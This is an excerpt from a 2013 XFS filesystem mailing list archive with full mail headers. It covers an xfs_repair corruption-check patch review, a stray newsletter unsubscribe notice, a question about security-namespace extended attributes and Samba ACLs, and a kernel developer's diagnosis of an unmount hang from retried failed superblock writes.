TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142997 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 02:53:52PM -0600, Ben Myers wrote: > There is a set checks for corruption in block map btrees in > process_bmbt_reclist_int that we identify but currently do not fix. It > appears that the author's intent in this function was to set error = 1, > and then only clear it when all of the checks were completed > successfully. Unfortunately error can be cleared when it is used for > the return value of blkmap_set_ext. Some kinds of corruption are not > being fixed, including duplicate extents, claiming free blocks, claiming > metadata blocks, and multiply used blocks. > > Fix this by using error2 for the return code from blkmap_set_ext. > > Signed-off-by: Ben Myers Looks good, Reviewed-by: Christoph Hellwig From phlistbounces-legionway@phplist.com Tue Dec 10 16:54:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FREEMAIL_FROM, HTML_IMAGE_ONLY_24,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 52BA37FA3 for ; Tue, 10 Dec 2013 16:54:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 300FB8F804C for ; Tue, 10 Dec 2013 14:54:01 -0800 (PST) X-ASG-Debug-ID: 1386716039-04cb6c537e687560001-NocioJ Received: from mx04.phplist.com (mx04.phplist.com [184.173.29.139]) by cuda.sgi.com with ESMTP id fgcuzi2gsAYpPV8r for ; Tue, 10 Dec 2013 14:53:59 -0800 (PST) X-Barracuda-Envelope-From: phlistbounces-legionway@phplist.com X-Barracuda-Apparent-Source-IP: 184.173.29.139 Received: from mx04.phplist.com (mx04.phplist.com [184.173.29.139]) by mx04.phplist.com (Postfix) with ESMTP id 571E78008E for ; Tue, 10 Dec 2013 22:53:59 +0000 (GMT) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=phplist.com; h=date:to :from:reply-to:subject:message-id:list-unsubscribe:mime-version :content-type; s=s0; bh=xgPK4ev+b5yqpUB/p46F679bvDY=; b=av0k/G53 HWdRZFdyxFT7DGIrcRPjrvCpOtcHDOoyADQI+O1fP3rf1h9D2EFz+IgR+M8ZlZ7y tPdxtTsPwZupT01NKErzigdbK2TRE2x3s9fTnvPutioC5fNoX7NyRsLEx35cWzm9 +acI5JRuki7T5scWAnYBWDvS9mftMf/e/E0= Received: from legionway.hosted.phplist.com (olive2 [50.23.51.195]) by mx04.phplist.com (Postfix) with ESMTP id 4BF138008B for ; Tue, 10 Dec 2013 22:53:59 +0000 (GMT) Received: from 208-115-111-73-reverse.wowrack.com [208.115.111.73] by legionway.hosted.phplist.com with HTTP; Tue, 10 Dec 2013 22:53:58 +0000 Date: Tue, 10 Dec 2013 22:53:59 +0000 To: xfs@oss.sgi.com From: Enoch Josh Reply-To: Enoch Josh Subject: Goodbye from our Newsletter Message-ID: X-ASG-Orig-Subj: Goodbye from our Newsletter X-Priority: 3 X-Mailer: PHPMailer 5.2.5 (https://github.com/Synchro/PHPMailer/) X-phpList-version: 3.0.5-hosted X-MessageID: systemmessage X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: phlistbounces-legionway@phplist.com List-Unsubscribe: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_f462dbe0b6d413792ecbcdded58f24fd" X-Barracuda-Connect: mx04.phplist.com[184.173.29.139] X-Barracuda-Start-Time: 1386716039 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.28 X-Barracuda-Spam-Status: No, SCORE=1.28 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_24, HTML_IMAGE_ONLY_24_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142999 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 HTML_IMAGE_ONLY_24_2 HTML: images with 2000-2400 bytes of words --b1_f462dbe0b6d413792ecbcdded58f24fd Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =20 Goodbye from our Newsletter, sorry to see you go. You have been unsubscribed from our newsletters. This is the last email you will receive from us. We have added you to our "blacklist", which means that our newsletter system, phpList, will refuse= =0Ato send you any other email, without manual intervention by our administrator. If there is an error in this information, you can re-subscribe: please go to http://legionway.hosted.phplist.com/lists/?p=3Dsubscribe and= =0Afollow the steps. Thank you =20 =20 --b1_f462dbe0b6d413792ecbcdded58f24fd Content-Type: multipart/related; boundary="b2_f462dbe0b6d413792ecbcdded58f24fd" --b2_f462dbe0b6d413792ecbcdded58f24fd Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
=0A =
=0A =
=0A
=0A
=0A

Goodbye from our Newsletter

=0A
=0A <= br />=0A Goodbye from our Newsletter, sorry to see you go.
=0A
= =0A You have been unsubscribed from our newsletters.
=0A
=0A Th= is is the last email you will receive from us. We have added you to our
=0A "blacklist", which means that our newsletter system, phpList, will r= efuse to send
=0A you any other email, without manual intervention by= our administrator.
=0A
=0A If there is an error in this informa= tion, you can re-subscribe:
=0A please go to http://legionway.hosted.phplis= t.com/lists/?p=3Dsubscribe and follow the steps.
=0A
=0A Tha= nk you
=0A
=0A =0A

3D"powered

=0A
=0A
=0A =0A
=0A
=0A --b2_f462dbe0b6d413792ecbcdded58f24fd Content-Type: image/png; name="powerphplist.png" Content-Transfer-Encoding: base64 Content-ID: <536a90a54fd69a437d0214d44d7194b4> Content-Disposition: inline; filename="powerphplist.png" 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 RK5CYII= --b2_f462dbe0b6d413792ecbcdded58f24fd-- --b1_f462dbe0b6d413792ecbcdded58f24fd-- From xfs@tlinx.org Tue Dec 10 18:15:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AEA797FAB for ; Tue, 10 Dec 2013 18:15:15 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49F50AC011 for ; Tue, 10 Dec 2013 16:15:12 -0800 (PST) X-ASG-Debug-ID: 1386720910-04cb6c537c689570001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id y1M9ZMUqaoKbnehh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 16:15:10 -0800 (PST) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBB0F5RI009405; Tue, 10 Dec 2013 16:15:07 -0800 Message-ID: <52A7AE8A.1080408@tlinx.org> Date: Tue, 10 Dec 2013 16:15:06 -0800 From: LA Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: Dave Chinner , xfs-oss Subject: Re: where/how is 'xattr' type=security enforced? (security attr stripped?) References: <52A65AD5.9070705@tlinx.org> <20131210055213.GD31386@dastard> X-ASG-Orig-Subj: Re: where/how is 'xattr' type=security enforced? (security attr stripped?) In-Reply-To: <20131210055213.GD31386@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1386720910 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143000 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/9/2013 9:52 PM, Dave Chinner wrote: > You need root permissions to set security namespace attributes. ---- I knew that about the root namespace, but the security namespace isn't as well documented. I'd *hoped* for something that made 'sense' -- like the owner being able to set/change, at least some of them, like mode bits. I know this isn't a problem, actually "in XFS", but more in how it is used. Thinking out loud...if you'll bare w/me: Since it's an NTACL, on a file created and owned me, in a directory that I 'own' the ACL for (as I'm the owner of the file and the dir it is in), it seems Samba is trying to follow NT rules in placing the ACL w/the file. But then the linux utils come along and change the rules and strip off the NT-ACL, when the file is copied or when it is moved to a different partition (also XFS). What about the posix ACL's? Aren't they in the security section as well? Do they get stripped off whenever a copy is made or the file is moved to another XFS file system? The NTACL was set on the file because it inherited permissions under 'NT' rules. Shouldn't I be able to copy or move the file (presuming I am the owner and directory owner, etc..). What about posix ACL's? It seems to me, that the security section of an ACL should be (assuming you have the normal, discretionary access system on linux), should be movable and settable by the file owner. Under a different security setup (say with mandatory access rules -- like under SMACK or Flask) it would be a different matter, but it seems a bit odd to be stripping ACL's from a file just because it is copied/moved... > [ On a side note, there's some sooper seekrit voodoo .... yeah, vaguely remember that... FWIW -- I've never seen a message like I'm getting now... so don't know if it is a change in Samba/coreutils or the kernel (all of which have changed recently in installing a new suse release for most things)... From david@fromorbit.com Tue Dec 10 18:28:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C005A7FB8 for ; Tue, 10 Dec 2013 18:28:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id ADA12304032 for ; Tue, 10 Dec 2013 16:27:59 -0800 (PST) X-ASG-Debug-ID: 1386721677-04cbb04168692f20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id xnKCqiptgqGzCIxW for ; Tue, 10 Dec 2013 16:27:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8IAGWwp1J5LHyk/2dsb2JhbABZgweDOLElhU+BHxd0giUBAQU6HCMQCAMOBwMJJQ8FJQMhE4gBwUsXFo4mSQeDIYETBJgTkhSDPSiBLQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Dec 2013 10:57:56 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqXeb-0005QE-Bj; Wed, 11 Dec 2013 11:27:53 +1100 Date: Wed, 11 Dec 2013 11:27:53 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Martin Boutin , "Kernel.org-Linux-RAID" , Eric Sandeen , "Kernel.org-Linux-EXT4" , xfs-oss Subject: Re: Filesystem writes on RAID5 too slow Message-ID: <20131211002753.GD10988@dastard> X-ASG-Orig-Subj: Re: Filesystem writes on RAID5 too slow References: <528A5C45.4080906@redhat.com> <20131119005740.GY6188@dastard> <20131121092606.GU11434@dastard> <20131121234116.GD6502@dastard> <20131210191803.GA31162@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131210191803.GA31162@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386721677 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143000 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 10, 2013 at 11:18:03AM -0800, Christoph Hellwig wrote: > > xfs: align initial file allocations correctly. > > > > From: Dave Chinner > > > > The function xfs_bmap_isaeof() is used to indicate that an > > allocation is occurring at or past the end of file, and as such > > should be aligned to the underlying storage geometry if possible. > > > > Commit 27a3f8f ("xfs: introduce xfs_bmap_last_extent") changed the > > behaviour of this function for empty files - it turned off > > allocation alignment for this case accidentally. Hence large initial > > allocations from direct IO are not getting correctly aligned to the > > underlying geometry, and that is cause write performance to drop in > > alignment sensitive configurations. > > > > Fix it by considering allocation into empty files as requiring > > aligned allocation again. > > Seems like this one didn't get picked up yet? I'm about to resend all my outstanding patches... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 10 18:40:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 95E4E7FBF for ; Tue, 10 Dec 2013 18:40:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 64C5A8F8054 for ; Tue, 10 Dec 2013 16:40:49 -0800 (PST) X-ASG-Debug-ID: 1386722446-04bdf01321197c50001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id V0M7WFaZHy2FvwqP for ; Tue, 10 Dec 2013 16:40:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsEIAO+zp1J5LHyk/2dsb2JhbABZgweDOLElhU+BHxd0giUBAQQBJxMcIwUHBAgDEQQBAQEJJQ8FJQMTDhOHfAXBRxcWjg0RAVAHBoMbgRMEmBOSFIM9KIE1 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Dec 2013 11:10:42 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqXqx-0005RP-AF; Wed, 11 Dec 2013 11:40:39 +1100 Date: Wed, 11 Dec 2013 11:40:39 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com, linux-xfs@vger.kernel.org Subject: Re: XFS umount with IO errors seems to lead to memory corruption Message-ID: <20131211004039.GE10988@dastard> X-ASG-Orig-Subj: Re: XFS umount with IO errors seems to lead to memory corruption References: <20131121220713.GB6502@dastard> <1E31497CEB304DB68E5EFCF4814F9A27@alyakaslap> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1E31497CEB304DB68E5EFCF4814F9A27@alyakaslap> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386722447 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143000 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [ Sorry, Alex, I missed your last email. Thanks for pinging me to remind me to look at it. ] On Tue, Dec 10, 2013 at 09:36:11AM +0200, Alex Lyakas wrote: > Hi Dave, > any insight on this issue? At least on the simpler reproduction with > "error" DeviceMapper? Yes, it does point to the problem. > -----Original Message----- From: Alex Lyakas > Sent: 24 November, 2013 12:27 PM > To: Dave Chinner ; xfs@oss.sgi.com > Cc: linux-xfs@vger.kernel.org > Subject: Re: XFS umount with IO errors seems to lead to memory corruption > > Hi Dave, > thank you for your comments. > > The test that I am doing is unmounting the XFS, while its underlying > block device returns intermittent IO errors. The block device in > question is a custom DeviceMapper target. It returns -ECANCELED in > this case. Should I return some other errno instead? > The same exact test works alright with ext4. It's unmount finishes, > system seems to continue functioning normally and kmemleak is also > happy. > > When doing a simpler reproductoin with "error" Device-Mapper, umount > gets stuck and never returns, while kernel keeps printing: > XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 It's trying to write the superblock - it's and async, background metadata write, and it's failing. /* * If the write was asynchronous then no one will be looking for the * error. Clear the error state and write the buffer out again. * * XXX: This helps against transient write errors, but we need to find * a way to shut the filesystem down if the writes keep failing. * * In practice we'll shut the filesystem down soon as non-transient * erorrs tend to affect the whole device and a failing log write * will make us give up. But we really ought to do better here. */ if (XFS_BUF_ISASYNC(bp)) { ASSERT(bp->b_iodone != NULL); trace_xfs_buf_item_iodone_async(bp, _RET_IP_); xfs_buf_ioerror(bp, 0); /* errno of 0 unsets the flag */ if (!XFS_BUF_ISSTALE(bp)) { bp->b_flags |= XBF_WRITE | XBF_ASYNC | XBF_DONE; xfs_buf_iorequest(bp); } else { xfs_buf_relse(bp); } return; } There's the problem code - it just keeps resubmitting the failed IO and so never unlocks it and it never completes. > this never returns and /proc shows: > root@vc-00-00-1075-dev:~# cat /proc/2684/stack > [] xfs_ail_push_all_sync+0x9a/0xd0 [xfs] > [] xfs_unmountfs+0x63/0x160 [xfs] > [] xfs_fs_put_super+0x25/0x60 [xfs] > [] generic_shutdown_super+0x62/0xf0 > [] kill_block_super+0x30/0x80 > [] deactivate_locked_super+0x3c/0x90 > [] deactivate_super+0x4e/0x70 > [] mntput_no_expire+0x106/0x160 > [] sys_umount+0xa0/0xe0 > [] system_call_fastpath+0x16/0x1b > [] 0xffffffffffffffff That's waiting for the superblock to be marked clean. > And after some time, hung task warning shows: > INFO: task kworker/2:1:39 blocked for more than 120 seconds. > "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > kworker/2:1 D ffffffff8180cf00 0 39 2 0x00000000 > ffff88007c54db38 0000000000000046 000000027d003700 ffff88007fd03fc0 > ffff88007c54dfd8 ffff88007c54dfd8 ffff88007c54dfd8 0000000000013e40 > ffff88007c9e9710 ffff88007c4bdc40 00000000000000b8 7fffffffffffffff > Call Trace: > [] schedule+0x29/0x70 > [] schedule_timeout+0x1e5/0x250 > [] ? kmem_zone_alloc+0x67/0xe0 [xfs] > [] ? kmemleak_alloc+0x26/0x50 > 